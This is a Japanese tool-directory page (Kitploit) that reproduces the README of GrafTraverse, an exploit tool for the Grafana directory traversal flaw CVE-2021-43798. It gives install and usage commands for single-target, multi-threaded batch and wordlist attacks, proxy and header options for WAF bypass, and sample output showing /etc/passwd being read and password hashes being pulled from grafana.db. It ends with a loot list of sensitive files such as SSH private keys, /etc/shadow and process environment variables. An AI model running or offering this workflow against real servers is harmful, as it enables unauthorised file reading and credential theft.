Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
GrafTraverse-CVE-2021-43798 — CVE-2021-43798 MiNi Exploitation Framework | Kitploit
ツール/GitHubGitHub/asbawy/graftraverse-cve-2021-43798
パスワードクラッキング脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテストレッドチーミング
GitHubasbawy/graftraverse-cve-2021-43798

GrafTraverse-CVE-2021-43798

CVE-2021-43798 MiNi Exploitation Framework

リポジトリを見る
2ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

GrafTraverse - CVE-2021-43798 簡易エクスプロイトフレームワーク

Grafana ディレクトリトラバーサル (CVE-2021-43798) の許可されたセキュリティテストのためのコマンドライン自動化ツール


概要

Banner

CVE-2021-43798 は、Grafana 8.x における認証なしのディレクトリトラバーサル脆弱性です。攻撃者は /public/plugins/ エンドポイントを介して、基盤となるファイルシステム上の任意のファイルを読み取ることができます。根本原因は、プラグインアセットリクエストにおけるパスサニタイズが不適切で、../ シーケンスによって意図されたディレクトリから脱出できることです。

GrafTraverse は、元の Proof-of-Concept を完全に書き直したものです。リクエスト処理の重大なバグを修正し、マルチスレッドバッチスキャン、自動プラグイン検出、資格情報抽出、構造化レポートを追加し、レッドチームやペネトレーションテスター向けのプロダクショングレードのツールにしています。


機能


インストール

root@kitploit:~
# リポジトリをクローン
git clone https://github.com/asbawy/GrafTraverse.git
cd GrafTraverse

# requests が利用可能であることを確認(Kali に付属)
pip3 install requests

# 実行可能にする
chmod +x GrafTraverse.py

使用方法

GrafTraverse は サブコマンドベースの CLI を使用します。すべてのコマンドで --help が利用可能です。

1. インタラクティブ単一ターゲット

1つのホストに対してインタラクティブメニューを起動:

root@kitploit:~
python3 GrafTraverse.py single -u http://IP:PORT
root@kitploit:~
============================================================
 インタラクティブモード
============================================================
 1. /etc/passwd
 2. grafana.ini
 3. grafana.db
 4. カスタムパス
 5. 完全自動戦利品取得
 6. プラグインスキャン
 7. 終了
============================================================

2. プラグインスキャン

エクスプロイトを行わずに、どのプラグインエンドポイントが脆弱かを迅速に特定:

root@kitploit:~
python3 GrafTraverse.py scan -u http://target:PORT

3. バッチスキャン

ファイルからターゲットを読み込み、同時に処理:

root@kitploit:~
python3 GrafTraverse.py batch -l targets.txt --workers 10 --csv results.csv

targets.txt の形式:

root@kitploit:~
http://192.168.1.10:3000
http://192.168.1.11:3000
https://grafana.target.com
# # で始まる行は無視されます

4. ワードリスト列挙

カスタムファイルリストを指定して深いトラバーサルを実行:

root@kitploit:~
python3 GrafTraverse.py single -u http://target:3000   --wordlist sensitive_files.txt   --output-dir ./loot   --json log.json

5. プロキシとカスタムヘッダー

Burp Suite を経由してルーティングし、カスタムヘッダーを追加:

root@kitploit:~
python3 GrafTraverse.py single -u http://target:3000   --proxy http://127.0.0.1:8080   -H "X-Forwarded-For: 127.0.0.1"   -H "Authorization: Bearer eyJ0..."

コマンドリファレンス

single

batch

フラグ説明
-l, --listターゲット URL ファイル(必須)
--workers同時スレッド数(デフォルト: 5)
(single の全フラグ対応)

scan

フラグ説明
-u, --urlターゲット URL(必須)
(全ネットワークフラグ対応)

出力例

ファイル取得成功

root@kitploit:~
[+] Output: 20260526_GrafTraverse
[*] Testing: /etc/passwd (via alertlist)
[+] SUCCESS: /etc/passwd (1874 bytes)

------------------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
------------------------------------------------------------

[+] Saved: 20260526_GrafTraverse/http___10.129.234.47_3000_passwd

Grafana DB ハッシュ抽出

root@kitploit:~
[*] Testing: /var/lib/grafana/grafana.db (via alertlist)
[+] SUCCESS: /var/lib/grafana/grafana.db (98304 bytes)
[+] Saved: 20260526_GrafTraverse/http___10.129.234.47_3000_grafana.db
[*] Extracted 3 password hashes:
    admin:PBKDF2$sha256$10000$...base64...
    editor:PBKDF2$sha256$10000$...base64...
    viewer:PBKDF2$sha256$10000$...base64...

対象ファイル(自動戦利品取得)

組み込みの戦利品シーケンスでは、以下のファイルを順に取得しようとします:


影響を受けるバージョン

  • Grafana 8.0.0 から 8.3.0
  • 8.3.1 および 7.5.12 で修正済み
ツールをダウンロード
機能説明
マルチプラグインブルートフォース40以上の組み込みプラグインを自動でプローブし、脆弱なパスを見つけます
インタラクティブモードメニュー駆動型の単一ターゲットエクスプロイト、ライブファイルプレビュー付き
バッチモード設定可能なスレッドワーカーによる同時マルチターゲットスキャン
ワードリストモードカスタムワードリストを使用した詳細なファイル列挙
自動ハッシュ抽出ダウンロードした grafana.db から PBKDF2 パスワードハッシュを自動抽出
構造化ロギング結果を JSON および CSV にエクスポートしてシームレスなレポート作成
プロキシ対応Burp、ZAP、または任意の HTTP プロキシを経由したトラフィックルーティング (--proxy)
カスタムヘッダーWAF バイパスや認証トークンのための任意のヘッダー注入 (-H)
トラバーサルカスタマイズ非標準環境用のデフォルトトラバーサル深度のオーバーライド (--depth)
スマートフィルタリングプラグインの JS/CSS/HTML レスポンスを拒否することで誤検出を排除
依存関係ゼロrequests のみ必要(Kali / Parrot にプリインストール済み)
フラグ説明
-u, --urlターゲット URL(必須)
--no-download表示のみモード、ファイルを保存しない
-t, --timeoutリクエストタイムアウト(秒)(デフォルト: 10)
--proxyHTTP/HTTPS プロキシ URL
-H, --headerカスタムヘッダー(繰り返し可)
--depthトラバーサル文字列(デフォルト: ../../../../../../../../)
--output-dir取得ファイルの保存ディレクトリ
--json結果を JSON ログファイルに追記
--csv結果を CSV ログファイルに追記
--wordlist列挙するパスが記述されたファイル
--plugin特定のプラグイン名を強制指定
ファイルタイプ機密性
/etc/passwdテキストユーザー列挙
/etc/shadowテキストパスワードハッシュ(読み取り可能なことはまれ)
/etc/hostsテキストネットワークトポロジ
/etc/hostnameテキストホスト識別
/etc/grafana/grafana.iniテキストGrafana シークレットと DB 認証情報
/var/lib/grafana/grafana.dbバイナリユーザーハッシュと API キーを含む SQLite DB
/var/log/grafana/grafana.logテキスト運用インテリジェンス
/root/.ssh/id_rsaテキストSSH 秘密鍵
/root/.ssh/authorized_keysテキストキーベースのアクセスマッピング
/proc/self/environテキストプロセス環境変数
/proc/self/cmdlineテキストプロセス引数
/proc/versionテキストカーネルバージョン
/proc/mountsテキストファイルシステムレイアウト
/etc/os-releaseテキストOS 識別
/etc/issueテキストOS 識別
/etc/crontabテキストスケジュールタスク
/etc/resolv.confテキストDNS 設定